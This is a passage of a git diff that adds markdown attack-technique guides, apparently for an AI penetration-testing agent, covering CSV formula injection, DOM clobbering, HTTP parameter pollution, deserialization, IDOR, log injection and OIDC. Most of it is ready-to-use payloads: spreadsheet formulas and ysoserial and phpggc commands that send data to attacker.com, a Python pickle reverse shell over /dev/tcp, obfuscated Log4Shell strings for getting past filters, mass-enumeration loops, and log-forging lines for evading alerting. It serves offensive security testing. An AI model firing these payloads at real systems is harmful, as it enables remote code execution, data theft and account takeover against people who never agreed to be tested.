+=WEBSERVICE("http://attacker.com/?data="&A1) +=IMPORTDATA("http://attacker.com/?d="&CONCATENATE(A1,A2,A3)) + +# Google Sheets specific +=IMPORTXML(CONCAT("http://attacker.com/?leak=",CONCATENATE(A1:Z99)),"//a") +=IMAGE("https://attacker.com/?d="&A1) + +# Exfiltrate file contents +=HYPERLINK("http://attacker.com/?d="&A1,"Click here") + +# Formula to read other cells and send externally +=WEBSERVICE(CONCAT("http://attacker.com/?s=",INDIRECT("A"&ROW()))) +``` + +### Hyperlink Injection + +``` +=HYPERLINK("http://attacker.com/phishing","Click to view invoice") +=HYPERLINK("http://attacker.com/","Verify your account") +``` + +### Exfil via DNS (when HTTP blocked) + +``` +# Excel/LibreOffice may allow UNC paths for DNS leak +=WEBSERVICE("\\\\attacker.com\\a") +=CALL("KERNEL32","GetTempPathA","JCJ",255,A1) +``` + +## Context-Specific Payloads + +### Google Sheets + +``` +=IMPORTDATA("https://attacker.com/?d="&A1) +=IMAGE("https://attacker.com/?leak="&ENCODEURL(A1)) +=HYPERLINK(CONCAT("https://attacker.com/?q=",A1),"link") + +# Docs formula that exfiltrates spreadsheet owner +=WEBSERVICE("https://attacker.com/?user="&CELL("address",A1)) +``` + +### LibreOffice Calc + +``` +=WEBSERVICE("http://attacker.com/?d="&A1) +# LibreOffice macro execution is less common but possible with user approval +``` + +### Excel (Desktop) + +``` +# DDE (disabled by default since 2017 but still tested) +=cmd|' /C powershell...'!A0 + +# External data connection +=WEBSERVICE("http://attacker.com/?d="&A1) +# Excel 2016+ blocks WEBSERVICE for external URLs by default but not LAN +``` + +## Testing Methodology + +1. **Find export features** — Download CSV/Excel from admin panels, reports, profiles +2. **Inject in all user-controlled fields** — Name, email, comments, any text field +3. **Basic formula probe** — `=1+1` → if cell shows `2` in export, formula injection confirmed +4. **Test = + - @ chars** — Try each as first character +5. **WEBSERVICE/IMPORTDATA** — Set up OAST listener, inject exfiltration payload +6. **Test hyperlink injection** — Check if phishing links render in exported file +7. **DDE test** — Try `=cmd|' /C calc'!A0` in Excel environments + +## Validation + +1. Show the exported CSV/XLSX with the injected formula visible in a cell +2. Demonstrate that the formula executes when file is opened (if possible safely) +3. For exfiltration: show OAST callback with cell data +4. For DDE: show that cmd/calc launches (only in controlled test environment) + +## False Positives + +- Export sanitizes leading special characters (prepends apostrophe: `'=formula`) +- Export adds quotes around all fields preventing formula interpretation +- Application uses library that escapes formula characters (e.g., Apache POI with proper escaping) + +## Impact + +| Scenario | Impact | +|----------|--------| +| Admin exports user data | DDE RCE on admin's machine | +| User exports own data | Self-XSS (lower severity) | +| Scheduled reports to executives | High-value target for DDE | +| Google Sheets imports | Exfiltration of spreadsheet data | +| Phishing via hyperlink | Credential theft | + +## Pro Tips + +1. The highest impact is DDE/RCE → but requires Excel + user accepting security warning → P2/P3 +2. WEBSERVICE-based exfiltration via OAST is proof without any user interaction → P3/P4 +3. Focus on admin export features — admins open exported files more often +4. `=1+1` is your safe canary — if you get `2` in the output cell, injection confirmed +5. Prefix with `@` for Excel-specific execution: `@SUM(1+1)*cmd|' /C calc'!A0` +6. Some bug bounty programs specifically mention "CSV injection" as in-scope +7. Google Sheets auto-executes `=IMPORTDATA()` without user confirmation → data exfil is real + +## Summary + +CSV injection persists because sanitizing formula characters feels unnecessary — until an admin opens an export. The highest-risk targets are admin-facing exports in desktop Excel. Use `=1+1` to confirm injection, WEBSERVICE/IMPORTDATA for exfiltration proof, and DDE for RCE demonstration. Always sanitize leading formula characters by prefixing with apostrophe or removing them. diff --git a/strix/skills/vulnerabilities/dom_clobbering.md b/strix/skills/vulnerabilities/dom_clobbering.md new file mode 100644 index 00000000..392572ad --- /dev/null +++ b/strix/skills/vulnerabilities/dom_clobbering.md @@ -0,0 +1,204 @@ +--- +name: dom-clobbering +description: DOM clobbering attacks that override global JavaScript variables using HTML elements to achieve XSS +--- + +# DOM Clobbering + +DOM clobbering exploits the legacy browser behavior where named HTML elements are accessible as global JavaScript properties. By injecting HTML with `id` or `name` attributes, attackers can overwrite global variables, configuration objects, and function references — leading to XSS even without direct script injection. + +## Attack Surface + +**Vulnerable Patterns** +- Apps that check `window.X || defaultValue` before sanitizing +- Configuration objects set by HTML attributes: `` +- Script tags referencing `window.config`, `window.data`, `window.user` +- Libraries (DOMPurify < 2.x, older sanitizers) that pass clobbering vectors + +**HTML Injection Without Script Tags** +- Sanitizers that allow `id` and `name` attributes +- HTML sanitizers that permit ``, `
`, ``, `` but block ` +# WAF sees: q=legitimate (safe) +# App uses: q= (malicious) +``` + +``` +POST /login +username=admin&password=x&password=INJECTED_SQL +# WAF scans first password value +# App uses last → SQLi bypass +``` + +### Authentication Bypass + +``` +GET /api/user?id=VICTIM&id=OWN_ID +# Backend uses first = VICTIM, auth check uses last = OWN_ID +``` + +### SSRF via HPP + +``` +GET /proxy?url=http://internal&url=http://allowed.com +# Allowlist checks url=http://allowed.com (last) +# Proxy uses url=http://internal (first) +``` + +### OAuth/Redirect HPP + +``` +GET /oauth/authorize?redirect_uri=https://legit.com&redirect_uri=https://attacker.com&client_id=X +# Validation: checks first = legit.com ✓ +# Redirect: uses last = attacker.com → token leakage +``` + +### Signature Bypass + +``` +POST /api/transfer +amount=100&recipient=friend&amount=10000&mac=VALID_MAC_OF_FIRST_VALUES +# MAC computed on first values (small transfer) +# App executes last values (large transfer) +``` + +### Server-Side HPP + +When server constructs a backend query using user params: +``` +# App: http://backend/api?user=INPUT&admin=false +# Attacker input: user=alice&admin=true +# Result: http://backend/api?user=alice&admin=false&admin=true +# Backend may use last admin=true +``` + +### Content-Type HPP + +``` +POST /api/data +Content-Type: application/x-www-form-urlencoded; charset=utf-8&boundary=attacker +# Some parsers use boundary from Content-Type (multipart) instead of body +``` + +## Bypass Techniques + +**URL Encoding** +``` +param=val1%26param=val2 # %26 = &, creates second param after decode +param=val1¶m%3dval2 # %3d = = sign +``` + +**Array Notation** +``` +param[]=val1¶m[]=val2 # PHP array notation +param[0]=val1¶m[1]=val2 +``` + +**JSON Body** +```json +{"param": "safe", "param": "malicious"} +# Some parsers use last key in duplicate JSON object +``` + +**HTTP/2 Pseudo-headers** +``` +# HTTP/2 allows duplicate header names +# Exploit inconsistency between H2 and H1 backends +``` + +## Testing Methodology + +1. **Baseline** — Identify target parameters, document normal behavior +2. **Duplicate injection** — Add second copy of each parameter with malicious payload +3. **Swap order** — Test malicious=first, safe=last and safe=first, malicious=last +4. **Component mapping** — Identify WAF, proxy, and app technologies +5. **Auth parameters** — Focus on `user`, `id`, `role`, `admin`, `token`, `redirect_uri` +6. **Compare parsers** — Send same request through direct access (bypassing WAF) to see app behavior +7. **Client-side HPP** — If app constructs URLs with user data, test if it appends params the app already sends + +### Client-Side HPP + +```javascript +// App constructs: /search?category=SAFE&sort=SAFE +// If category input is: books&admin=true +// Result: /search?category=books&admin=true&sort=SAFE +``` + +## Validation + +1. Show that the malicious value bypassed the WAF/middleware check +2. Demonstrate different behavior vs. single legitimate parameter +3. Prove which component used which value via response differences + +## False Positives + +- App and WAF use same parser behavior +- Backend correctly rejects duplicate parameters +- WAF configured to reject requests with duplicate params + +## Impact + +- WAF/IPS bypass enabling SQLi, XSS, command injection +- Authorization bypass (role/admin parameter injection) +- OAuth token theft via redirect_uri pollution +- Business logic bypass via amount/value manipulation + +## Pro Tips + +1. `HPP Finder` Burp plugin automatically tests parameter pollution +2. Always test POST body AND query string — frameworks often parse them differently +3. Cookie duplication is often overlooked: `Cookie: session=a; session=b` +4. Check JSON with duplicate keys — JavaScript JSON.parse uses last, Python uses last +5. HTTP/2 → HTTP/1.1 downgrade by reverse proxy creates parameter injection opportunities +6. In OAuth flows, `redirect_uri` duplication is a classic finding +7. Test both orderings: malicious-first and malicious-last for each parameter + +## Summary + +HTTP Parameter Pollution exploits the fact that different components in a stack handle duplicate parameters differently. The attacker provides two values — one that passes security checks and one that gets executed — exploiting the component that uses the other value. Test every parameter in security-sensitive operations. diff --git a/strix/skills/vulnerabilities/insecure_deserialization_advanced.md b/strix/skills/vulnerabilities/insecure_deserialization_advanced.md new file mode 100644 index 00000000..8a4387ee --- /dev/null +++ b/strix/skills/vulnerabilities/insecure_deserialization_advanced.md @@ -0,0 +1,263 @@ +--- +name: insecure-deserialization-advanced +description: Advanced deserialization attacks — Java gadget chains, Python pickle RCE, PHP object injection, and .NET viewstate +--- + +# Insecure Deserialization (Advanced) + +Building on basic deserialization concepts, this covers language-specific gadget chains, tool usage, finding deserialization surfaces, and chaining deserialization to RCE. Each language/platform has unique characteristics and established exploitation patterns. + +## Java Deserialization + +### Detection Signatures + +``` +# HTTP request with Java deserialized data: +Content-Type: application/x-java-serialized-object +# Or base64-encoded in cookie/header/body + +# Java serialized data magic bytes: +AC ED 00 05 (hex) +rO0AB (base64 prefix) + +# Check for these in: +# Cookie values +# POST body parameters +# Custom HTTP headers +# Viewstate alternatives +``` + +### Common Entry Points + +``` +# Cookie: JSESSIONID or custom session cookie +# Cookie: rememberMe (Apache Shiro) +# Cookie: SPRING_SECURITY_REMEMBER_ME_COOKIE +# AMF (Adobe Flex/AMF format) +# JMX/RMI endpoints +# WebLogic T3/IIOP protocol +# JBoss HTTP invoker: /invoker/JMXInvokerServlet +# XMLDecoder (used in various frameworks) +``` + +### Tool: ysoserial + +```bash +# Generate payloads for known gadget chains +java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/$(whoami)' +java -jar ysoserial.jar CommonsCollections3 'curl http://attacker.com' +java -jar ysoserial.jar Spring1 'ping attacker.com' +java -jar ysoserial.jar Groovy1 'calc.exe' + +# Common gadget chains by library: +# CommonsCollections1-7 → Apache Commons Collections +# Spring1/2 → Spring Framework +# Hibernate1/2 → Hibernate ORM +# Groovy1 → Groovy +# ROME → ROME RSS library +# JRMPClient → Java RMI + +# Encoding for HTTP: +java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com' | base64 -w0 + +# For blind detection (DNS OAST): +java -jar ysoserial.jar CommonsCollections1 'nslookup attacker.com' | base64 -w0 +``` + +### Apache Shiro (CVE-2016-4437 and related) + +``` +# Shiro uses CBC+PKCS5 padding with hardcoded key "kPH+bIxk5D2deZiIxcaaaA==" +# Default key allows forging any cookie value + +# Tool: shiro-exploit +python3 shiro-exploit.py -u https://target.com -k kPH+bIxk5D2deZiIxcaaaA== -c 'id' + +# Detection: rememberMe=X in cookie, "deleteMe" in Set-Cookie response = deserialization attempt +curl -H "Cookie: rememberMe=x" https://target.com -v | grep -i "set-cookie: rememberMe=deleteMe" + +# Common keys to test: +# kPH+bIxk5D2deZiIxcaaaA== +# 2AvVhdsgUs0FSA3SDFAdag== +# r0e3c16IdVkouznQqEm5UA== +``` + +### WebLogic (CVE-2019-2725, 2020-2555, etc.) + +``` +# T3 protocol deserialization +# Endpoint: :7001 (T3), :8001 (admin), :4848 + +# Detection: +nmap --script weblogic-t3-info -p 7001 target.com + +# Tool: weblogic-framework +java -jar weblogic-framework.jar -ip target -port 7001 -cmd "id" +``` + +### XMLDecoder (CVE-2017-10271 / WebLogic XMLDECODER) + +```xml +# Payload in POST body: + + + + /bin/bash + -c + id>/tmp/x + + + +``` + +## PHP Object Injection + +### Detection + +```php +// Vulnerable code pattern: +$data = unserialize($_COOKIE['user']); +$obj = unserialize(base64_decode($_GET['data'])); +$cache = unserialize(file_get_contents('cache.php')); +``` + +### PHP Serialization Format + +```php +// Integer: i:1337; +// String: s:4:"test"; +// Boolean: b:1; +// Null: N; +// Array: a:2:{i:0;s:1:"a";i:1;s:1:"b";} +// Object: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;} + +// Craft admin object: +O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;} +// base64: TzQ6IlVzZXIiOjI6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo1OiJhZG1pbiI7YjoxO30= +``` + +### PHP Magic Methods (Gadget Entry Points) + +```php +__wakeup() → called on unserialize +__destruct() → called on object destruction +__toString() → called on string conversion +__call() → called on undefined method +__get() → called on undefined property +__invoke() → called when object used as function +``` + +### Tool: phpggc + +```bash +# Generate PHP gadget chains +phpggc Laravel/RCE1 system id +phpggc Symfony/RCE4 exec id +phpggc Magento/RCE3 exec id +phpggc WordPress/RCE1 exec 'curl http://attacker.com' +phpggc Yii/RCE1 system 'curl http://attacker.com' + +# List available chains +phpggc -l + +# Output formats +phpggc -b Laravel/RCE1 system id # base64 +phpggc --url-encode Laravel/RCE1 system id # URL encoded +``` + +## Python Pickle + +### RCE Payload + +```python +import pickle, os, base64 + +class Exploit(object): + def __reduce__(self): + return (os.system, ('curl http://attacker.com/?x=$(id|base64)',)) + +payload = base64.b64encode(pickle.dumps(Exploit())).decode() +print(payload) + +# Or with more complex command: +class RCE: + def __reduce__(self): + cmd = 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"' + return (os.system, (cmd,)) +``` + +### Detection + +``` +# Python pickle data starts with bytes: +b'\x80\x04' or b'\x80\x02' (pickle protocol 4 or 2) +# Base64: gASV... or gAJ... + +# Endpoints: +# Flask sessions (if using non-JSON serialization) +# Custom caching mechanisms +# ML model loading (PyTorch .pt, sklearn pickle) +# Celery task queues +``` + +## .NET ViewState + +```bash +# ViewState without MAC validation → object injection +# With known MAC key → forge ViewState + +# Tool: ysoserial.net +ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --path="/page.aspx" --apppath="/" +ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "cmd /c whoami" + +# Detection: +# __VIEWSTATE parameter in ASP.NET forms +# Check if MAC validation enabled: try modifying ViewState → if accepted → no validation + +# Also test: +# __EVENTTARGET +# __EVENTVALIDATION +# LosFormatter cookies +``` + +## Node.js Deserialization + +```javascript +// Unsafe unserialize with node-serialize: +var serialize = require('node-serialize'); +var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\', function(error, stdout, stderr){ console.log(stdout) });}()"}'; +serialize.unserialize(payload); + +// Detection: JSON with _$$ND_FUNC$$_ prefix +// Cookie values starting with: {"...":"_$$ND_FUNC$$_function() +``` + +## Testing Methodology + +1. **Find serialized data** — Magic bytes, base64 blobs in cookies/params/headers/body +2. **Identify platform** — Java (rO0A), PHP (O:4:), Python (gAS), .NET (AAEAAAD) +3. **Test with gadget generator** — ysoserial/phpggc/pickle for known chains +4. **OAST first** — DNS callback to confirm deserialization without RCE risk +5. **Test all transport paths** — Cookie, GET params, POST body, custom headers, WebSockets +6. **Check for weak/default keys** — Shiro, Spring, .NET MachineKey + +## Validation + +1. Use OAST DNS callback as first proof (least disruptive) +2. Then progress to `id`/`whoami` via HTTP callback +3. Show the exact parameter/cookie where payload was injected +4. Identify which gadget chain was used and which library version required + +## Pro Tips + +1. `rO0AB` in any cookie = Java serialization = test all ysoserial chains +2. Shiro `rememberMe` is still found in production — always test for default key +3. phpggc chains work per framework — identify framework version first +4. Python ML endpoints loading models may use pickle — test model upload endpoints +5. .NET ViewState without MAC is automatic RCE if you can find the right gadget +6. Celery, Redis queues, and session stores may contain serialized data +7. Always test with DNS OAST first — you get confirmation without triggering a destructive payload + +## Summary + +Deserialization vulnerabilities are high-impact but require knowing the correct gadget chain for the target's library versions. Use magic byte detection to identify the serialization format, then gadget generators for the appropriate platform. Confirm via DNS OAST before escalating to command execution. diff --git a/strix/skills/vulnerabilities/insecure_direct_object_ref_advanced.md b/strix/skills/vulnerabilities/insecure_direct_object_ref_advanced.md new file mode 100644 index 00000000..070f9b5e --- /dev/null +++ b/strix/skills/vulnerabilities/insecure_direct_object_ref_advanced.md @@ -0,0 +1,292 @@ +--- +name: idor-advanced +description: Advanced IDOR techniques — chained IDOR, blind IDOR, indirect references, and mass IDOR exploitation +--- + +# IDOR (Advanced) + +Expanding on basic IDOR, this covers finding non-obvious object references, chaining IDOR with other vulnerabilities for higher impact, mass enumeration techniques, and IDOR in non-standard contexts (GraphQL, WebSocket, API parameters). + +## Non-Obvious Object References + +### Indirect References + +``` +# Hash/UUID instead of integer: +/api/profile/550e8400-e29b-41d4-a716-446655440000 → victim's UUID + +# Encoded references: +/api/file/aGVsbG8ud29yZA== → base64 decoded = hello.doc + +# Custom encoding: +/api/order/TXktT3JkZXItMTIzNA== → decode to find predictable ID + +# Hash of user ID: +/api/data/md5(user_id) → try MD5 of known IDs + +# Compound keys: +/api/message/USER_ID:MESSAGE_ID → change USER_ID +``` + +### Hidden Parameters + +``` +# Hidden fields in forms: + + +# JavaScript variables: +window._userId = 123; +var config = {userId: 123, role: "user"}; + +# JWT payload: +{"sub": "123", "user_id": 123} → modify sub/user_id + +# Cookie values: +user=eyJ1c2VyX2lkIjogMTIzfQ== → base64 decode, modify, re-encode +``` + +### IDOR in Request Body + +```json +# Standard JSON body: +{"user_id": 123, "action": "view_profile"} + +# Nested objects: +{"data": {"owner": {"id": 123}}} + +# Arrays: +{"user_ids": [123, 456]} → replace own ID with victim's + +# GraphQL variables: +{"query": "mutation { ... }", "variables": {"userId": 123}} +``` + +### IDOR in Unusual Locations + +``` +# Request headers: +X-User-ID: 123 +X-Account-ID: 456 +X-Resource-ID: 789 + +# WebSocket messages: +{"type": "subscribe", "channel": "user-123-notifications"} + +# URL path vs body mismatch: +PUT /api/users/123/profile +{"user_id": 456, "email": "newemail@x.com"} +# Does server use URL param (123) or body param (456)? + +# File paths: +/download?file=/users/123/report.pdf → change 123 +/api/export?userId=123 +``` + +## IDOR Patterns in APIs + +### REST API Patterns + +``` +# Standard CRUD: +GET /api/v1/users/{id} +PUT /api/v1/users/{id} +DELETE /api/v1/users/{id} +PATCH /api/v1/users/{id}/settings + +# Relationship endpoints: +GET /api/v1/users/{user_id}/posts +GET /api/v1/users/{user_id}/orders/{order_id} + +# Action endpoints: +POST /api/v1/users/{id}/impersonate +POST /api/v1/accounts/{id}/transfer +GET /api/v1/users/{id}/export + +# Admin endpoints with user ID: +GET /api/v1/admin/users/{id}/sessions +``` + +### State-Based IDOR + +``` +# Object ID may be valid but in wrong state: +# Your draft order ID vs submitted order ID +# Your pending payment vs completed payment + +# Test: access object IDs from a different state than your own +# E.g.: use your own completed order ID → try pending order endpoints +``` + +## Chained IDOR Attacks + +### IDOR → ATO Chain + +``` +1. IDOR on email-change endpoint: + PUT /api/users/VICTIM_ID/email {"email": "attacker@evil.com"} + +2. Trigger password reset for victim@target.com... wait + (email now goes to attacker@evil.com) + +3. Receive reset email → click link → set new password → ATO +``` + +### IDOR → Privilege Escalation + +``` +1. IDOR on user update: + PUT /api/users/VICTIM_ID {"role": "admin"} + → Can you set your own role? + PUT /api/users/OWN_ID {"role": "admin", "isAdmin": true} + +2. If direct privilege change not possible: + PUT /api/users/ADMIN_ID/team {"member_id": OWN_ID} + → Add yourself to admin team via IDOR +``` + +### IDOR → Data Exfiltration + +``` +# Mass enumeration of users: +for i in {1..10000}; do + curl -H "Authorization: Bearer TOKEN" \ + https://target.com/api/users/$i | jq .email >> emails.txt +done + +# Parallel enumeration (faster): +seq 1 10000 | xargs -P 50 -I{} curl -s \ + -H "Authorization: Bearer TOKEN" \ + "https://target.com/api/users/{}" >> /tmp/users.json +``` + +## Blind IDOR + +### Detection Without Reflected Data + +``` +# Server returns only success/failure — no data: +DELETE /api/posts/123 +→ {"success": true} # vs 404/403 for others + +# Action IDOR: +POST /api/messages/123/read → marks as read → victim notification disappears +POST /api/subscriptions/123/cancel → victim's subscription cancelled + +# Timing-based: +# Response time difference between valid/invalid IDs +``` + +### Side-Channel IDOR + +``` +# Error message differences: +/api/files/123 → "Access denied" (file exists, just not yours) +/api/files/999 → "Not found" (doesn't exist) +→ Confirms ID 123 belongs to another user + +# Response size differences: +# Different status codes (403 vs 404) reveal existence +``` + +## Mass IDOR Testing + +### Enumeration Strategies + +```bash +# Sequential IDs: +seq 1 1000 | xargs -P 20 -I{} \ + curl -s -o /dev/null -w "%{http_code} {}\n" \ + -H "Cookie: session=TOKEN" \ + "https://target.com/api/orders/{}" + +# UUID enumeration (if predictable): +# UUIDs v1 are time-based → predictable range +python3 -c "import uuid; [print(uuid.uuid1()) for _ in range(100)]" + +# IDOR in batch endpoints: +POST /api/users/batch {"ids": [1,2,3,4,5,6,7,8,9,10]} +→ Returns all users' data + +# GraphQL aliases (parallel IDOR): +query { + u1: user(id: "1") { email, phone } + u2: user(id: "2") { email, phone } + u3: user(id: "3") { email, phone } +} +``` + +### Identifying ID Ranges + +``` +# Check your own account ID from: +- API responses +- URL paths after login +- JWT payload +- Profile page source + +# Then test adjacent IDs ±N +# And test ID 1, 2, 3 (admin accounts often have low IDs) +``` + +## IDOR in File Operations + +``` +# File download: +/api/download?file_id=123&path=uploads/user_123/report.pdf + +# Modify path (path traversal + IDOR): +/api/download?file_id=456&path=uploads/user_456/private.pdf + +# Direct file access by name: +/uploads/user_123/contract.pdf → /uploads/user_456/contract.pdf + +# Backup file access: +/api/export/user/123.json → /api/export/user/456.json +``` + +## Testing Methodology + +1. **Enumerate all object references** — IDs in URLs, bodies, headers, cookies, JS +2. **Create two accounts** — Account A (attacker) and Account B (victim) +3. **Map all endpoints with IDs** — Every GET/PUT/PATCH/DELETE with resource IDs +4. **Test cross-account access** — Use Account A's token with Account B's IDs +5. **Test vertical IDOR** — Use low-priv token with high-priv IDs (admin user IDs) +6. **Check state variations** — Test IDs in different states +7. **Test write operations** — Modify/delete other users' resources +8. **Test action endpoints** — Email change, delete account, export data with other users' IDs + +## Validation + +1. Demonstrate accessing another user's private data with your own authentication token +2. Show the specific endpoint, request, and response with victim data +3. For write IDOR: show modification of another user's resource +4. For delete IDOR: show deletion (only in authorized test environment) + +## False Positives + +- Intentional public data (public profiles, public posts) +- Object belongs to both users (shared resources, team resources) +- Response doesn't actually contain the other user's data +- Rate limiting that prevents meaningful enumeration + +## Impact + +- Mass data exfiltration of all user PII +- Account takeover via email change + password reset +- Financial impact: access to orders, payments, subscription data +- Reputation damage: unauthorized access to private user content + +## Pro Tips + +1. Always test WRITE operations (PUT/PATCH/DELETE) — often more severe and missed +2. Check if response differs between "unauthorized" (403) and "not found" (404) → confirms ID exists +3. ID format often reveals the backend: sequential = likely DB auto-increment, UUID = randomized +4. Admin panels often have IDOR on user management endpoints even when APIs are protected +5. Email change IDOR → password reset = P1 ATO without social engineering +6. Test the `/me` endpoint vs `/users/{own_id}` — different code paths, different auth checks +7. Response must contain victim-specific data to be exploitable — just returning 200 is insufficient +8. Batch APIs are goldmines — `POST /api/batch` with a list of IDs often returns all requested resources + +## Summary + +IDOR is found by systematically replacing your IDs with others' IDs across all endpoints, especially write operations. The highest value is IDOR on email-change, delete-account, or financial endpoints that enable ATO or data loss. Always create two test accounts and use one's token to access the other's resources. diff --git a/strix/skills/vulnerabilities/log_injection.md b/strix/skills/vulnerabilities/log_injection.md new file mode 100644 index 00000000..a67df0db --- /dev/null +++ b/strix/skills/vulnerabilities/log_injection.md @@ -0,0 +1,157 @@ +--- +name: log-injection +description: Log injection and log forging attacks including Log4Shell, CRLF log injection, and monitoring system bypass +--- + +# Log Injection + +Log injection allows attackers to insert fake log entries, forge audit trails, exfiltrate data through logging channels, or exploit vulnerable logging frameworks. Log4Shell (CVE-2021-44228) demonstrated that logging sinks can be RCE vectors via JNDI lookups. + +## Attack Surface + +**Log Types** +- Application logs (access, error, debug, audit) +- Server logs (Apache/Nginx access logs) +- Authentication/security logs +- SIEM/monitoring system ingestion +- Cloud logging (CloudWatch, Stackdriver, Azure Monitor) +- Centralized log management (ELK, Splunk, Graylog) + +**Injection Points** +- HTTP headers: User-Agent, Referer, X-Forwarded-For, Host +- URL path and query parameters +- POST body fields +- Authentication inputs (username, password) +- Cookie values +- Custom headers logged by application + +## Log4Shell (CVE-2021-44228) + +The most critical log injection: Java Log4j 2.x executes JNDI lookups in logged strings. + +### Detection Payloads + +``` +# Basic JNDI LDAP +${jndi:ldap://BURP_COLLABORATOR/a} +${jndi:ldap://attacker.com/a} + +# DNS-only (safer confirmation) +${jndi:dns://attacker.com/log4shell} + +# Obfuscated variants (bypass WAF/filters) +${${lower:j}ndi:${lower:l}dap://attacker.com/a} +${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a} +${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//attacker.com/a} +${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a} +${j${::-n}di:ldap://attacker.com/a} +${j${lower:n}di:ldap://attacker.com/a} +${${upper:j}ndi:ldap://attacker.com/a} +${${::-J}${::-N}${::-D}${::-I}:${::-L}${::-D}${::-A}${::-P}://attacker.com/a} + +# Alternative protocols +${jndi:rmi://attacker.com/a} +${jndi:ldaps://attacker.com/a} +${jndi:iiop://attacker.com/a} +${jndi:corba://attacker.com/a} +${jndi:dns://attacker.com/a} + +# In HTTP headers +User-Agent: ${jndi:ldap://attacker.com/a} +X-Forwarded-For: ${jndi:ldap://attacker.com/a} +Referer: ${jndi:ldap://attacker.com/a} +Authorization: Bearer ${jndi:ldap://attacker.com/a} +X-Api-Version: ${jndi:ldap://attacker.com/a} +``` + +### Affected Versions +- Log4j 2.0-beta9 to 2.14.1 (original Log4Shell) +- Log4j 2.15.0 (partial fix, CVE-2021-45046) +- Log4j 2.16.0 (disables JNDI by default) +- Log4j 2.17.0 (fixes DoS CVE-2021-45105) +- **Fixed**: 2.17.1 (Java 8), 2.12.4 (Java 7), 2.3.2 (Java 6) + +## CRLF Log Injection + +Insert newlines to create fake log entries: + +``` +# Basic +GET /%0d%0a127.0.0.1 - admin [01/Jan/2024] "GET /admin HTTP/1.1" 200 0 +# Creates fake log: 127.0.0.1 - admin accessed /admin + +# More complex forging +X-Forwarded-For: 1.2.3.4%0d%0a10.0.0.1 - admin - [01/Jan/2024:00:00:00] "GET /secret HTTP/1.1" 200 + +# Forge audit entries +Username: john%0A2024-01-01 00:00:00 INFO [AUTH] User admin logged in successfully +``` + +## Log Injection for Data Exfiltration + +When logs are forwarded to monitoring systems: + +``` +# Inject log events that exfiltrate data +# If log processor evaluates expressions (Splunk SPL, ELK painless scripts): +User-Agent: ') | eval x=exec("id") | where... + +# LogStash Groovy injection (CVE-2014-8682) +# ELK Kibana SSTI via stored log data +``` + +## Monitoring System Bypass + +``` +# If security events are triggered by log patterns: +# "Failed login" → alert after N times + +# Inject fake successful login to reset counter: +Username: admin\n2024-01-01 00:00:00 INFO Login successful for admin + +# Inject fake log to cover tracks: +Username: attacker\n[previous malicious log entry removed] +``` + +## Testing Methodology + +1. **Test Log4Shell** — Inject `${jndi:dns://COLLABORATOR/a}` in all HTTP headers (User-Agent, Referer, X-Forwarded-For, custom headers) and form fields +2. **Test CRLF** — Inject `%0d%0a` in URL params, headers, form fields — check if reflected in server logs or response +3. **Identify logging technology** — Error messages, `X-Powered-By`, framework banners revealing Java/Log4j +4. **Test all input vectors** — Every field that might be logged: username, search, comments, profile fields +5. **Check monitoring** — Does injected log text appear in admin log viewers? + +## Validation + +1. For Log4Shell: OAST DNS/HTTP callback confirming the JNDI lookup was processed +2. For CRLF: show the fake log entry was inserted (visible in logs, or response reflects it) +3. For RCE via Log4Shell: show `id` or `hostname` output (only if explicitly in scope) + +## False Positives + +- Log4j version ≥ 2.17.1 with JNDI disabled +- Input sanitized before logging (newlines stripped) +- Logging of raw bytes vs. interpreted strings +- JNDI lookups allowed but no outbound network access + +## Impact + +- RCE via Log4Shell on vulnerable Java applications +- Audit trail forgery hiding attacker activity +- Fake security event injection bypassing alerting +- Data exfiltration through logging channels +- Log4Shell in monitoring agents: lateral movement to security infrastructure + +## Pro Tips + +1. Log4Shell in User-Agent is the most commonly missed vector — always test it +2. Use interactsh or Burp Collaborator for DNS callbacks to confirm Log4Shell without triggering RCE +3. Even patched Log4j may have old instances in Docker containers, microservices, or dependencies +4. Check Struts, Spring, VMware, Cisco products — all historically Log4j-dependent +5. CRLF injection in log files can falsify compliance evidence — emphasize audit integrity impact +6. ELK Stack storing attacker-controlled data + Kibana XSS = stored XSS in security dashboard +7. Test search/filter fields in admin panels — these are often logged server-side with raw input + +## Summary + +Log injection ranges from CRLF entry forgery (audit manipulation) to Log4Shell (critical RCE). Test Log4Shell payloads via OAST in all HTTP headers, not just the request body. CRLF injection creates fake log entries that help attackers cover tracks and mislead incident responders. diff --git a/strix/skills/vulnerabilities/oidc_attacks.md b/strix/skills/vulnerabilities/oidc_attacks.md new file mode 100644 index 00000000..f940a3e6 --- /dev/null +++ b/strix/skills/vulnerabilities/oidc_attacks.md @@ -0,0 +1,226 @@ +--- +name: oidc-attacks +description: OpenID Connect attack techniques — nonce bypass, token leakage, provider confusion, and hybrid flow abuse +--- + +# OpenID Connect (OIDC) Attacks + +OpenID Connect extends OAuth 2.0 with identity — adding ID tokens (JWTs), UserInfo endpoints, and discovery documents. Its complexity creates attack surface beyond standard OAuth: nonce bypass, ID token confusion, provider switching, and hybrid flow token leakage. + +## OIDC Flow Overview + +``` +1. Client sends Authorization Request to IdP + → includes: client_id, redirect_uri, scope (openid...), state, nonce, response_type + +2. IdP authenticates user, returns Authorization Response + → includes: code (auth code flow) OR tokens (implicit/hybrid) + +3. Client exchanges code for tokens at /token endpoint + → receives: id_token (JWT), access_token, refresh_token + +4. Client validates id_token (signature, iss, aud, nonce, exp) + +5. Optional: Client calls /userinfo with access_token +``` + +## Key Vulnerabilities + +### Nonce Bypass + +Nonce prevents replay of ID tokens. Missing/weak nonce validation = token replay attack: + +``` +# 1. Obtain a valid ID token from your own session +# 2. Replay it in a different session or for a different user + +# Test: log in, capture id_token, log out, replay id_token +# If accepted without nonce validation → replay attack + +# Nonce in id_token payload should match nonce sent in auth request +# Some apps skip nonce validation entirely +``` + +### State Parameter Missing/Bypass (CSRF) + +``` +# state 